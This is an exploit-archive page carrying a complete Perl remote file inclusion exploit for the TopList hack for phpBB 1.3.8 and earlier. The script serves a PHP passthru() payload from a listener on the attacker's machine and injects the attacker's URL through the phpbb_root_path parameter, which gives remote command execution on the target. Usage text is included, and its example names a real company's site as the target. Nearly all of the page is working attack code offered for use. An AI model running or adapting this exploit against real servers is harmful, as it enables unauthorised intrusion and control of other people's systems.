exploits , vulnerabilities , articles , TopList <= 1.3.8 (phpBB Hack) Remote Inclusion Exploit

Rated as : High Risk

# TopList Hack for PHPBB <= 1.3.8 Remote File Inclusion
# Based on http://milw0rm.com/exploits/1722
# Bug found by : [Oo]
#
# No more uploading php shells !!! 
# This is my way of php include exploitation !!!
# Learn to play with sockets !!!
# FOX_MULDER (fox_mulder@abv.bg)

#!/usr/bin/perl
  use LWP 5.64;
  use IO::Socket;
  use LWP::Simple;

(my $hostname, my $target, my $dir,my $command) = @ARGV;

if(@ARGV < 4) {
print
"=======================================================================+\n";
print "TopList REMOTE COMMAND EXECUTION EXPLOIT by fox_mulder\@abv.bg
        |\n";
print "Usage: top.pl yourIP target /dir/ \"command\"       
                    |\n";
print "Example: top.pl 10.20.30.40 www.microsoft.com /forum/
\"uname -a\"     |\n";
print
"=======================================================================+\n";
exit;
}
print "[+]Creating listening socket . . .\n";
my $sock = new IO::Socket::INET (
                                  LocalHost => "$hostname",
                                  LocalPort => '9999',
                                  Proto => 'tcp',
                                  Listen => 1,
                                  Reuse => 1,
                                 );
 die "Could not create socket: $!\n" unless $sock;

        if (my $pid = fork){
        my $new_sock = $sock->accept();
                my $request = <$new_sock>;
                print $new_sock "HTTP/1.1 200 OK\n";
                print $new_sock "Content-Length:
$content_length\n";
                print $new_sock "Content-Type: text/plain\n\n";
                print $new_sock "<?
error_reporting(0);passthru(\"$command\"); ?>\n";
                close $new_sock;
                exit;
        }
print "[+]Injecting  command . . .\n";

my $browser = LWP::UserAgent->new;
   $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)');

  my $url = "http://$target/$dir/toplist.php";
  my $response = $browser->post( $url,
    [
	'f'            => "toplist_top10",
        'phpbb_root_path' =>
"http://$hostname:9999/blah.php"
]
  );

  die "Received invalid response type",
$response->content_type
   unless $response->content_type eq 'text/html';

        print $response->content;


securitydot.net - 2006-04-28